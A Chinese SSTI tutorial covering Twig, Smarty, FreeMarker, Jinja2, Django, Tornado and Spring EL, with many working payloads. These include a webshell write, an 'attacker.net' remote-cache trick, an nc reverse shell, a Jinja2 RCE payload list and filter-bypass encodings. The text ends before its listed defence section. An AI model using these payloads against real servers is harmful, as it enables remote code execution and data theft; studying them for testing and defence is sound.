目录
前备知识
模块引擎:
模块渲染函数:
继承关系:
SSTI漏洞简介
SSTI漏洞成因
SSTI漏洞原理
一些常见模块介绍
php Twig模块引擎 代码演示1
Twig模块引擎代码演示2
python flask模块 代码演示1:
python jinja模块 代码演示2:
java 演示:
漏洞检测
攻击利用
1.攻击方向:
2.攻击方法
1.利用模块自身的特性进行攻击实例:
1.smaity
2.Twig模块
3.freeMarker
2.利用框架本身的特性进行攻击
1.Diango
2.Flask/Jinja2
3.Tornado
3.利用模语言本身的特性进行攻击
1.python
2.java
payload大全
Bypass
绕过.
1.使用中括号[]绕过
2.使用attr()绕过
绕过单双引号
1.request绕过
2.chr绕过
关键字绕过
绕过init
Jinjia2使用过滤器绕过:
防御方法
参考文章
前备知识
模块引擎:
模板引擎是一种将数据和模板结合起来动态生成 HTML 页面的工具。通常我们会使用相关模块来美化我们的博客,提高文章表面的质量,模块引擎就可以将我们所要传输的数据和模块整合,已达到我们的目的。
模块渲染函数:
python主要有两种模板渲染函数,render_template_string()与render_template(),其中render_template是用来渲染一个指定文件的。render_template_string()则是用来渲染字符串的。而渲染函数在渲染的时候,往往对用户输入的变量不做渲染,即:{{}}在Jinja2中作为变量包裹标识符,Jinja2在渲染的时候会把{{}}包裹的内容当做变量解析替换。比如{{2*2}}会被解析成4。因此才有了现在的模板注入漏洞。往往变量我们使用{{恶意代码}}。正因为{{}}包裹的东西会被解析,因此我们就可以实现类似于SQL注入的漏洞。
继承关系:
类之间的继承关系,后面再构造python payload时,常会用到
魔术方法
上面用的魔术方法这里总结一下,其他更多的魔术方法之后在补充一下
__class__:表示实例对象所属的类。
__base__:类型对象的直接基类。
__bases__:类型对象的全部基类(以元组形式返回),通常实例对象没有此属性。
__mro__:一个由类组成的元组,在方法解析期间用于查找基类。
__subclasses__():返回该类的所有子类的列表。每个类都保留对其直接子类的弱引用。此方法返回仍然存在的所有这些引用的列表,并按定义顺序排序。
__init__:初始化类的构造函数,返回类型为function的方法。
__globals__:通过函数名.__globals__获取函数所在命名空间中可用的模块、方法和所有变量。
__dict__:包含类的静态函数、类函数、普通函数、全局变量以及一些内置属性的字典。
__getattribute__():存在于实例、类和函数中的__getattribute__魔术方法。实际上,当针对实例化的对象进行点操作(例如:a.xxx / a.xxx())时,都会自动调用__getattribute__方法。因此,我们可以通过这个方法直接访问实例、类和函数的属性。
__getitem__():调用字典中的键值,实际上是调用此魔术方法。例如,a['b'] 就是 a.__getitem__('b')。
__builtins__:内建名称空间,包含一些常用的内建函数。__builtins__与__builtin__的区别可以通过搜索引擎进一步了解。
__import__:动态加载类和函数,也可用于导入模块。常用于导入os模块,例如__import__('os').popen('ls').read()。
__str__():返回描述该对象的字符串,通常用于打印输出。
url_for:Flask框架中的一个方法,可用于获取__builtins__,且url_for.__globals__['__builtins__']包含current_app。
get_flashed_messages:Flask框架中的一个方法,可用于获取__builtins__,且get_flashed_messages.__globals__['__builtins__']包含current_app。
lipsum:Flask框架中的一个方法,可用于获取__builtins__,且lipsum.__globals__包含os模块(例如:{{lipsum.__globals__['os'].popen('ls').read()}})。
current_app:应用上下文的全局变量。
request:用于获取绕过字符串的参数,包括以下内容:
- request.args.x1:GET请求中的参数。
- request.values.x1:所有参数。
- request.cookies:cookies参数。
- request.headers:请求头参数。
- request.form.x1:POST请求中的表单参数(Content-Type为application/x-www-form-urlencoded或multipart/form-data)。
- request.data:POST请求中的数据(Content-Type为a/b)。
- request.json:POST请求中的JSON数据(Content-Type为application/json)。
config:当前应用的所有配置。还可以使用{{ config.__class__.__init__.__globals__['os'].popen('ls').read() }}来执行操作系统命令。
g:通过{{ g }}可以获取<flask.g of 'flask_ssti'>。
创建四个类、其中B继承A、C继承B、D继承C。
class A:pass
class B(A):pass
class C(B):pass
class D(C):pass
d=D()
print(d.__class__) //<class '__main__.D'>
print(d.__class__.__base__) //<class '__main__.C'>
print(d.__class__.__base__.__base__) //<class '__main__.B'>
print(d.__class__.__base__.__base__.__base__) //<class '__main__.A'>
print("#"*30)
print(d.__class__.__mro__) //(<class '__main__.D'>, <class '__main__.C'>, <class '__main__.B'>, <class '__main__.A'>, <class 'object'>)
print(d.__class__.__mro__[3]) //<class '__main__.A'>,索引第一个位[0],也就是本类
print(d.__class__.__mro__[4].__subclasses__()) //这里会显示 <class 'object'>类所有子类
{{"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami').read()}}
{{"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__.popen('whoami').read()}} //执行命令'whoami',后面会讲原理
下面就是object主类的所有子类,其中就包含A类,不过太多了此处也只是一部分,主要是为了方便演示
但是我们在进行构造的时候是无法自己创建类的,此时我们就要用到一些符号来构造。
print([].__class__)
print([].__class__.__base__)
此处[]还可以替换为()、''、""、{}等符号
如下图就可以找到主类
SSTI漏洞简介
SSTI(Server-Side Template Injection)就是服务器端模板注入。利用该漏洞可用于直接攻击web服务器的内部。
SSTI漏洞成因
当在使用模块时,开发者未对用户的输入进行限制,此时攻击方就可以针对不同的模块,插入相关代码,来进行文件读取、命令执行等
SSTI漏洞原理
服务端接收了用户的恶意输入以后,未经任何处理就将其作为 Web 应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,执行了用户插入的可以破坏模板的语句,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题.
【补充】
单纯的字符串拼接并不能带来注入问题,关键要看你拼接的是什么,如果是控制语句,就会造成数据域与代码域的混淆,这样就会出洞
一些常见模块介绍
PHP:
1.Smarty:Smarty是PHP语言中广泛使用的模板引擎,它提供了强大的模板分离和逻辑控制功能。2.Twig:Twig是一个现代化的PHP模板引擎,被广泛用于Symfony框架等PHP应用程序中。
3.Blade:Blade是Laravel框架的默认模板引擎,它提供了简洁的语法和强大的模板继承特性。
Java:
1.Thymeleaf:Thymeleaf是一种现代化的Java服务器端模板引擎,广泛应用于Spring框架等Java Web应用。2.FreeMarker:FreeMarker是Java语言中流行的模板引擎,具有灵活的语法和强大的自定义标签功能。
3.Mustache:Mustache是一种简单而功能强大的模板语言,支持多种编程语言,包括Java。
4.JSP:没想到,这个专有名词不仅是文件格式,也可以是java的模块
5.Velocity:Velocity作为历史悠久的模板引擎不单单可以替代JSP作为Java Web的服务端网页模板引擎,而且可以作为普通文本的模板引擎来增强服务端程序文本处理能力。
Python:
1.Jinja2:Jinja2是Python语言中广泛使用的模板引擎,被许多Web框架(如Flask和Django)所采用。2.Mako:Mako是另一个在Python中常用的模板引擎,它具有简单易用的语法和高性能的特点。
3.Django模板引擎:针对Django框架而言,它自带了一个强大的模板引擎,为开发人员提供了丰富的模板标签和过滤器。
4.tornado:tornado 也有属于自己的一套模板引擎,tornado 强调的是异步非阻塞高并发
php Twig模块引擎 代码演示1
<?php
require_once dirname(__FILE__).‘/../lib/Twig/Autoloader.php‘;
Twig_Autoloader::register(true);
$twig = new Twig_Environment(new Twig_Loader_String());
$output = $twig->render("Hello {{name}}", array("name" => $_GET["name"])); // 将用户输入作为模版变量的值
echo $output;
上述情况,用户的输入到渲染的变量为name,但由于name外已经有{{}}了,当你输入{{7*7}}后,输入的还是{{7*7}},对模块并无影响,所以我们就无法进行漏洞,是一段安全代码
Twig模块引擎代码演示2
<?php
require_once dirname(__FILE__).‘/../lib/Twig/Autoloader.php‘;
Twig_Autoloader::register(true);
$twig = new Twig_Environment(new Twig_Loader_String());
$output = $twig->render("Hello {$_GET[‘name‘]}"); // 将用户输入作为模版内容的一部分
echo $output;
此段代码虽然name外也有{},但是此处的括号实际上只是为了区分变量和字符串常量而已,所以此时我们输入{{7*7}},就被加载到模块内部,服务器一解析,就进行了代码执行--输出49。再进一步利用,服务器就多半没了
python flask模块 代码演示1:
@app.errorhandler(404)
def page_not_found(e):
template = '''{%% extends "layout.html" %%}
{%% block body %%}
<div class="center-content error">
<h1>Oops! That page doesn't exist.</h1>
<h3>%s</h3>
</div>
{%% endblock %%}
''' % (request.url)
return render_template_string(template), 404
上面是一段经典的flask代码,虽然此处并没有使用任何变量,也就是纯纯的代码块,但是由于此处还是利用了flask模块去渲染了的,也逃不出被利用,此处我们只需要在URL后面跟上{{7*7}},网页就会自然而然的返回49的结果。
python jinja模块 代码演示2:
# coding: utf-8
import sys
from jinja2 importTemplate
template = Template("Your input: {}".format(sys.argv[1] if len(sys.argv) > 1 else '<empty>'))
print template.render()
利用如上述,URL后加{{7*7}},被模块执行,页面返回49
java 演示:
哭死!!!我还不太会java,此处是一个经典的漏洞复现,直接上链接了
漏洞分析:https://paper.seebug.org/70/
漏洞检测
跟sql和xss注入的检测方式相差无二,都是注入点,并尝试各种payload,如果有代码执行的回显,则存在漏洞,后面利用漏洞时payload也要根据模块的不同格式而改变。
【补充】:有的时候出现 XSS 的时候,也有可能是 SSTI 漏洞,虽说模板引擎在大多数情况下都是使用的xss 过滤的,但是也不排除有些意外情况的出现,比如
有的模板引擎(比如 jinja2)在渲染的时候默认只针对特定的文件后缀名的文件(html,xhtml等)进行XSS过滤
此处附上大牛写的ssti漏洞的检测工具:
GitHub - epinna/tplmap: Server-Side Template Injection and Code Injection Detection and Exploitation Tool
关于我们如何黑盒判断模块,可以参考下图:
攻击利用
判断之后我们就可以针对模块,进行攻击利用
1.攻击方向:
找到模板注入主要从三个方向进行攻击
(1)模板本身
(2)框架本身
(3)语言本身
(4)应用本身
2.攻击方法
我们虽知SSTI带来的危害有,敏感信息透露、getshell、rce等,但是关键在于我们应对该注入点插入怎么样的代码才能达到目的,此时我们就要根据模块而定了,我们要查看该模块支持的语内置变量、属性、函数、还有纯粹框架的全局变量、属性、函数,然后我们考虑语言本身的特性,比如面向对象的内省机制,最最最后我们无能为力的时候才考虑怎么寻找利用该模块应用定义的一些东西,因为这个是几乎没有文档的,是开发者的自行设计,一般需要拿到应用的源码才能考虑,于是我将其放在最后一个。
【补充】:在这种面向对象的语言中,获取父类这种思想要贯穿始终,其中理论基础就是python的魔术方法、php的自省以及java的反射机制
1.利用模块自身的特性进行攻击实例:
1.smaity
Smarty是最流行的PHP模板语言之一,为不受信任的模板执行提供了安全模式。这会强制执行在 php 安全函数白名单中的函数,因此我们在模板中无法直接调用 php 中直接执行命令的函数(相当于存在了一个disable_function)
但是,实际上对语言的限制并不能影响我们执行命令,因为我们首先考虑的应该是模板本身,恰好 Smarty 很照顾我们,在阅读模板的文档以后我们发现:$smarty内置变量可用于访问各种环境变量,比如我们使用 self 得到 smarty 这个类以后我们就去找 smarty 给我们的好用的方法
比如:getStreamVariable()
github 中明确指出,这个方法可以获取传入变量的流(说人话就是读文件)
payload:
{self::getStreamVariable("file:///proc/self/loginuid")}
再比如:class Smarty_Internal_Write_File
有了上面的读文件当然要找一个写文件的了,这个类中有一个writeFile方法
函数原型:
public function writeFile($_filepath, $_contents, Smarty $smarty)
但是这个第三个参数是一个smarty类型,后来找到了self::clearConfig()
函数原型
public function clearConfig($varname = null)
{
return Smarty_Internal_Extension_Config::clearConfig($this, $varname);
}
能写文件对攻击者真的是太有利了,一般不出意外能直接 getshell
payload:
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
2.Twig模块
相比于 Smarty ,Twig 无法调用静态方法,并且所有函数的返回值都转换为字符串,也就是我们不能使用 self::
调用静态变量了,但是 通过官方文档的查询,我们可以使用_self,虽然_self本身没有什么有用的方法,但是却有一个env
env是指属性Twig_Environment对象,Twig_Environment对象有一个 setCache方法可用于更改Twig尝试加载和执行编译模板(PHP文件)的位置(不知道为什么官方文档没有看到这个方法,后来我找到了Twig 的源码中的 environment.php,大概就是通过将缓存位置设置为远程服务器来引入远程文件包含漏洞:
payload:
{{_self.env.setCache("ftp://attacker.net:2121")}}
{{_self.env.loadTemplate("backdoor")}}
但是有个问题,allow_url_include一般是不打开的,没法包含远程文件,没关系还有个调用过滤器的函数 getFilter()
这个函数中调用了一个call_user_function方法
public function getFilter($name)
{
[snip]
foreach ($this->filterCallbacks as $callback) {
if (false !== $filter = call_user_func($callback, $name)) {//注意这行
return $filter;
}
}
return false;
}
public function registerUndefinedFilterCallback($callable)
{
$this->filterCallbacks[] = $callable;
}
我们只要把exec() 作为回调函数传进去就能实现命令执行了
payload:
{{_self.env.registerUndefinedFilterCallback("exec")}}
{{_self.env.getFilter("id")}}
3.freeMarker
这个模板主要用于 java ,可以按照 查找文档,查看框架源码,等方式寻找这个 payload 的思路来源
paylaod:
<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("id") }
2.利用框架本身的特性进行攻击
因为这里面的mobel模板似乎都是内置于框架内的,于是我就将其放在利用框架这一节
1.Diango
def view(request, *args, **kwargs):
template = 'Hello {user}, This is your email: ' + request.GET.get('email')
return HttpResponse(template.format(user=request.user))
显而易见,此处的注入点就是email,但是如果我们的能力已经被限制死了,很难执行命令,但是又想获取和User有关的配置信息,我们该怎么办?
可以发现我们现在拿到的只有一个和User有关的变量,那就是request user,那我们的思路是什么?
P牛在自己的博客中分享了一个思路,我们把它引用过来:
Django是一个庞大的框架,其数据库关系错综复杂,我们其实是可以通过属性之间的关系去一点点挖掘敏感信息。但Django仅仅是一个框架,在没有目标源码的情况下很难去挖掘信息,所以我的思路就是:去挖掘Django自带的应用中的一些路径,最终读取到Django的配置项
大概什么意思呢?就是我们在没有应用源码的情况下要学会去寻找框架本身的属性,看到这个空框架有什么属性和类之间引用,然后一步一步的靠近我们的目标
后来我们发现,经过翻找,发现Django自带的应用“admin”(也就是Django自带的后台)的models.py中导入了当前网站的配置文件:
此时我们的思路就比较明确了:我们只需要通过某种方式,找到Django默认应用的admin的model,再通过这个model获取setting对象,进而获取数据库密码、web加密密钥等信息。
payload:
http://localhost:8000/?email={user.groups.model._meta.app_config.module.admin.settings.SECRET_KEY}
http://localhost:8000/?email={user.user_permissions.model._meta.app_config.module.admin.settings.SECRET_KEY}
2.Flask/Jinja2
config是Flask模版中的一个全局对象,他代表"当前配置对象(flask.config)",它是一个类字典的对象,它包含了所有应用程序的配置值。在多数情况下,它包含了比如数据库链接的字符串,连接到第三方的凭证,SECRET_KEY等敏感值。虽然config是一个类字典的对象,但是通过查阅文档可以发现config有很多神奇的方法:from_envvar、from_boject,from_pyfile,以及root_path。
我们可以使用from_pyfile来进行命令执行
{{ from_pyfile('/etc/passwd') }} //读取/etc/passwd文件
{{ from_pyfile('__import__("os").system("whoami")') }} //执行whoami指令
还可以使用from_object来进行命令执行
{{ from_object(os).system('whoami') }}
{{ from_object(__import__('os')).system('whoami') }}
两个函数的源代码如下
def from_pyfile(self, filename, silent=False):
filename = os.path.join(self.root_path, filename)
d = types.ModuleType('config')
d.__file__ = filename
try:
with open(filename) as config_file:
exec(compile(config_file.read(), filename, 'exec'), d.__dict__)
except IOError as e:
if silent and e.errno in (errno.ENOENT, errno.EISDIR):
return False
e.strerror = 'Unable to load configuration file (%s)' % e.strerror
raise
self.from_object(d)
return True
def from_object(self, obj):
if isinstance(obj, string_types):
obj = import_string(obj)
for key in dir(obj):
if key.isupper():
self[key] = getattr(obj, key)
将传入的文件使用 compile() 这个python 的内置方法将其编译成字节码(.pyc),并放到 exec() 里面去执行,注意最后一个参数 d.__dict__翻阅文档发现,这个参数的含义是指定 exec 执行的上下文
import os
import sys
file_path = sys.argv[1]
with open(file_path, 'r') as f:
source = f.read()
code_obj = compile(source, '<string>', 'exec')
exec(code_obj, d.__dict__)
执行的代码片段被放入了 d.__dict__
中,这看似没设么用,但是神奇的是后面他调用了 from_object() 方法,根据源码
for key in dir(obj):
if key.isupper():
self[key] = getattr(obj, key)
这个方法会遍历 Obj 的 dict 并且找到大写字母的属性,将属性的值给 self[‘属性名’],所以说如果我们能让 from_pyfile 去读这样的一个文件
from os import system
SHELL = system
到时候我们就能通过 config[‘SHELL’] 调用 system 方法了
那么文件怎么写入呢?Jinja2 有沙盒机制,我们必须通过绕过沙盒的方式写入我们想要的文件,具体的沙盒绕过可以参考一篇博文python 沙盒逃逸备忘
得到最终的payload
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evil', 'w').write('from os import system%0aSHELL = system') }}
//写文件
{{ config.from_pyfile('/tmp/evil') }}
//加载system
{{ config['SHELL']('nc xxxx xx -e /bin/sh') }}
//执行命令反弹SHELL
3.Tornado
以护网杯的一道tornado的SSTI为例,该题是通过SST来获取cookie_secret,其中的过滤有
"%'()*-/=[\]_|
甚至把_(下划线)都过滤了,也就是说我们没法通过Python 的魔法方法进行沙盒逃逸执行命令,并且实际上对我们的寻找合适的 tornado 的内置的方法也有很多的限制。
我觉得除了直接阅读官方的文档,还有一个重要的方法就是直接下载 tornado 的框架源码,全局搜索 cookie_secret
cookie_secret 是handler.application.settings 的键值,那我们只要获取到这个对象是不是就可以了,没错,那么 handler 是什么,看官方文档,我特地看一下模板的对框架的语法支持(因为,模板中有一些内置的对象等同于框架中的对象,但是一般为了方便书写前段就会给一个比较简单的名字,就比如 JSP 的 request 内置对象实际上对应着 servlet 中的 HttpServletRequest )
handler 对应的就是 RequestHandler,那么也就是说,我们可以使用 handler 调用 RequestHandler 的方法,我们还是看官方文档
RequestHandler.settings 是 self.application.settings 的别名,等等! 有没有觉得有些似曾相识?对啊,这不就是我们之前在框架源码中找到的那个东西吗,也就是说我们能直接通过 handler.settings 访问到 我们朝思暮想的 cookie_secret ,至此我的分析就结束了。
payload:
http://117.78.26.79:31093/error?msg={{handler.settings}}
3.利用模语言本身的特性进行攻击
1.python
Python 最最经典的就是使用魔法方法,这里就涉及到Python沙盒绕过了,前面说过,模板的设计者也发现了模板的执行命令的特性,于是就给模本增加了一种沙盒的机制,在这个沙盒中你很难执行一般我们能想到函数,基本都被禁用了,所以我们不得不使用自省的机制来绕过沙盒,具体的方法就是在一篇博文中
2.java
java.lang包是java语言的核心,它提供了java中的基础类。包括基本Object类、Class类、String类、基本类型的包装类、基本的数学类等等最基本的类
payload:
${T(java.lang.System).getenv()}
${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}
当然要是文件操作就要用另外的类了,思路是不变的
payload:
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
【注】:这里面的 T() 是 EL 的语法规定(比如 Spring 框架的 EL 就是 SPEL)
payload大全
因为python是最常见的,这里payload主要针对python
#读取文件类,<type ‘file’> file位置一般为40,直接调用
{{[].__class__.__base__.__subclasses__()[40]('flag').read()}}
{{[].__class__.__bases__[0].__subclasses__()[40]('etc/passwd').read()}}
{{[].__class__.__bases__[0].__subclasses__()[40]('etc/passwd').readlines()}}
{{[].__class__.__base__.__subclasses__()[257]('flag').read()}} (python3)
#直接使用popen命令,python2是非法的,只限于python3
os._wrap_close 类里有popen
{{"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami').read()}}
{{"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__.popen('whoami').read()}}
#调用os的popen执行命令
#python2、python3通用
{{[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}
{{[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].popen('ls /flag').read()}}
{{[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].popen('cat /flag').read()}}
{{''.__class__.__base__.__subclasses__()[185].__init__.__globals__['__builtins__']['__import__']('os').popen('cat /flag').read()}}
{{"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__.__builtins__.__import__('os').popen('id').read()}}
{{"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()}}
{{"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['os'].popen('whoami').read()}}
#python3专属
{{"".__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__import__('os').popen('whoami').read()}}
{{''.__class__.__base__.__subclasses__()[128].__init__.__globals__['os'].popen('ls /').read()}}
#调用eval函数读取
#python2
{{[].__class__.__base__.__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}
{{"".__class__.__mro__[-1].__subclasses__()[60].__init__.__globals__['__builtins__']['eval']('__import__("os").system("ls")')}}
{{"".__class__.__mro__[-1].__subclasses__()[61].__init__.__globals__['__builtins__']['eval']('__import__("os").system("ls")')}}
{{"".__class__.__mro__[-1].__subclasses__()[29].__call__(eval,'os.system("ls")')}}
#python3
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['eval']("__import__('os').popen('id').read()")}}
{{''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.values()[13]['eval']}}
{{"".__class__.__mro__[-1].__subclasses__()[117].__init__.__globals__['__builtins__']['eval']}}
{{"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")}}
{{"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__.__builtins__.eval("__import__('os').popen('id').read()")}}
{{''.__class__.__base__.__subclasses__()[128].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}
#调用 importlib类
{{''.__class__.__base__.__subclasses__()[128]["load_module"]("os")["popen"]("ls /").read()}}
#调用linecache函数
{{''.__class__.__base__.__subclasses__()[128].__init__.__globals__['linecache']['os'].popen('ls /').read()}}
{{[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache']['os'].popen('ls').read()}}
{{[].__class__.__base__.__subclasses__()[168].__init__.__globals__.linecache.os.popen('ls /').read()}}
#调用communicate()函数
{{''.__class__.__base__.__subclasses__()[128]('whoami',shell=True,stdout=-1).communicate()[0].strip()}}
#写文件
写文件的话就直接把上面的构造里的read()换成write()即可,下面举例利用file类将数据写入文件。
{{"".__class__.__bases__[0].__bases__[0].__subclasses__()[40]('/tmp').write('test')}} ----python2的str类型不直接从属于基类,所以payload中含有两个 .__bases__
{{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('/etc/passwd').write('123456')}}
#通用 getshell
原理:找到含有 __builtins__ 的类,利用即可。
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()") }}{% endif %}{% endfor %}
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}
Bypass
绕过.
1.使用中括号[]绕过
{{().__class__}}
可替换为:
{{()["__class__"]}}
举例:
{{()['__class__']['__base__']['__subclasses__']()[433]['__init__']['__globals__']['popen']('whoami')['read']()}}
2.使用attr()绕过
attr()函数是Python内置函数之一,用于获取对象的属性值或设置属性值。它可以用于任何具有属性的对象,例如类实例、模块、函数等。
{{().__class__}}
可替换为:
{{()|attr("__class__")}}
{{getattr('',"__class__")}}
举例:
{{()|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(65)|attr('__init__')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('eval')('__import__("os").popen("whoami").read()')}}
绕过单双引号
1.request绕过
{{().__class__.__bases__[0].__subclasses__()[213].__init__.__globals__.__builtins__[request.args.arg1](request.args.arg2).read()}}&arg1=open&arg2=/etc/passwd
#分析:
request.args 是flask中的一个属性,为返回请求的参数,这里把path当作变量名,将后面的路径传值进来,进而绕过了引号的过滤。
若args被过滤了,还可以使用values来接受GET或者POST参数。
其它例子:
{{().__class__.__bases__[0].__subclasses__()[40].__init__.__globals__.__builtins__[request.cookies.arg1](request.cookies.arg2).read()}}
Cookie:arg1=open;arg2=/etc/passwd
{{().__class__.__bases__[0].__subclasses__()[40].__init__.__globals__.__builtins__[request.values.arg1](request.values.arg2).read()}}
post:arg1=open&arg2=/etc/passwd
2.chr绕过
{% set chr=().__class__.__mro__[1].__subclasses__()[139].__init__.__globals__.__builtins__.chr%}{{''.__class__.__mro__[1].__subclasses__()[139].__init__.__globals__.__builtins__.__import__(chr(111)%2Bchr(115)).popen(chr(119)%2Bchr(104)%2Bchr(111)%2Bchr(97)%2Bchr(109)%2Bchr(105)).read()}}
注意:使用GET请求时,+号需要url编码,否则会被当作空格处理。
关键字绕过
1.使用切片将逆置的关键字顺序输出,进而达到绕过。
""["__cla""ss__"]
"".__getattribute__("__cla""ss__")
反转
""["__ssalc__"][::-1]
"".__getattribute__("__ssalc__"[::-1])
2.利用"+"进行字符串拼接,绕过关键字过滤。
{{()['__cla'+'ss__'].__bases__[0].__subclasses__()[40].__init__.__globals__['__builtins__']['ev'+'al']("__im"+"port__('o'+'s').po""pen('whoami').read()")}}
3.join拼接
利用join()函数绕过关键字过滤
{{[].__class__.__base__.__subclasses__()[40]("fla".join("/g")).read()}}
4.利用引号绕过
{{[].__class__.__base__.__subclasses__()[40]("/fl""ag").read()}}
5.使用str原生函数replace替换
将额外的字符拼接进原本的关键字里面,然后利用replace函数将其替换为空。
{{().__getattribute__('__claAss__'.replace("A","")).__bases__[0].__subclasses__()[376].__init__.__globals__['popen']('whoami').read()}}
6.ascii转换
将每一个字符都转换为ascii值后再拼接在一起。
"{0:c}".format(97)='a'
"{0:c}{1:c}{2:c}{3:c}{4:c}{5:c}{6:c}{7:c}{8:c}".format(95,95,99,108,97,115,115,95,95)='__class__'
7.16进制编码绕过
"__class__"=="\x5f\x5fclass\x5f\x5f"=="\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"
例子:
{{''.__class__.__mro__[1].__subclasses__()[139].__init__.__globals__['__builtins__']['\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f']('os').popen('whoami').read()}}
同理,也可使用八进制编码绕过
8.base64编码绕过
对于python2,可利用base64进行绕过,对于python3没有decode方法,不能使用该方法进行绕过。
"__class__"==("X19jbGFzc19f").decode("base64")
例子:
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['X19idWlsdGluc19f'.decode('base64')]['ZXZhbA=='.decode('base64')]('X19pbXBvcnRfXygib3MiKS5wb3BlbigibHMgLyIpLnJlYWQoKQ=='.decode('base64'))}}
等价于
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}
9.unicode编码绕过
{%print((((lipsum|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f"))|attr("\u0067\u0065\u0074")("os"))|attr("\u0070\u006f\u0070\u0065\u006e")("\u0074\u0061\u0063\u0020\u002f\u0066\u002a"))|attr("\u0072\u0065\u0061\u0064")())%}
lipsum.__globals__['os'].popen('tac /f*').read()
10.Hex编码绕过
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f']['\x65\x76\x61\x6c']('__import__("os").popen("ls /").read()')}}
{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['\x6f\x73'].popen('\x6c\x73\x20\x2f').read()}}
等价于
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}
{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls /').read()}}
绕过init
可以用__enter__
或__exit__
替代__init__
{().__class__.__bases__[0].__subclasses__()[213].__enter__.__globals__['__builtins__']['open']('/etc/passwd').read()}}
{{().__class__.__bases__[0].__subclasses__()[213].__exit__.__globals__['__builtins__']['open']('/etc/passwd').read()}}
Jinjia2使用过滤器绕过:
在 JinJa2 中内置了很多过滤器,变量可以通过过滤器进行修改,过滤器与变量之间用管道符号|
隔开,括号中可以有可选参数,也可以没有参数,过滤器函数可以带括号也可以不带括号。可以使用管道符号|
连接多个过滤器,一个过滤器的输出应用于下一个过滤器。
内置过滤器列表如下:
abs() | forceescape() | map() | select() | unique() |
attr() | format() | max() | selectattr() | upper() |
batch() | groupby() | min() | slice() | urlencode() |
capitalize() | indent() | pprint() | sort() | urlize() |
center() | int() | random() | string() | wordcount() |
default() | items() | reject() | striptags() | wordwrap() |
dictsort() | join() | rejectattr() | sum() | xmlattr() |
escape() | last() | replace() | title() | filesizeformat() |
length() | reverse() | tojson() | first() | list() |
round() | trim() | float() | lower() | safe() |
truncate() |
其中常见过滤器用法如下:
abs()
返回参数的绝对值。
attr()
获取对象的属性。foo|attr("bar") 等价于 foo.bar
capitalize()
第一个字符大写,所有其他字符小写。
first()
返回序列的第一项。
float()
将值转换为浮点数。如果转换不起作用将返回 0.0。
int()
将值转换为整数。如果转换不起作用将返回 0。
items()
返回一个迭代器(key, value)映射项。
其他用法详见官方文档:
Template Designer Documentation - Jinja Documentation (3.2.x)
使用过滤器构造Payload,一般思路是利用这些过滤器,逐步拼接出需要的字符、数字或字符串。对于一般原始字符的获取方法有以下几种:
{% set org = ({ }|select()|string()) %}{{org}}
# <generator object select_or_reject at 0x0000020B2CA4EA20>
{% set org = (self|string()) %}{{org}}
# <TemplateReference None>
{% set org = self|string|urlencode %}{{org}}
# %3CTemplateReference%20None%3E
{% set org = (app.__doc__|string) %}{{org}}
# Hello The default undefined type. This undefined type can be printed and
# iterated over, but every other access will raise an :exc:`UndefinedError`:
#
# >>> foo = Undefined(name='foo')
# >>> str(foo)
# ''
# >>> not foo
# True
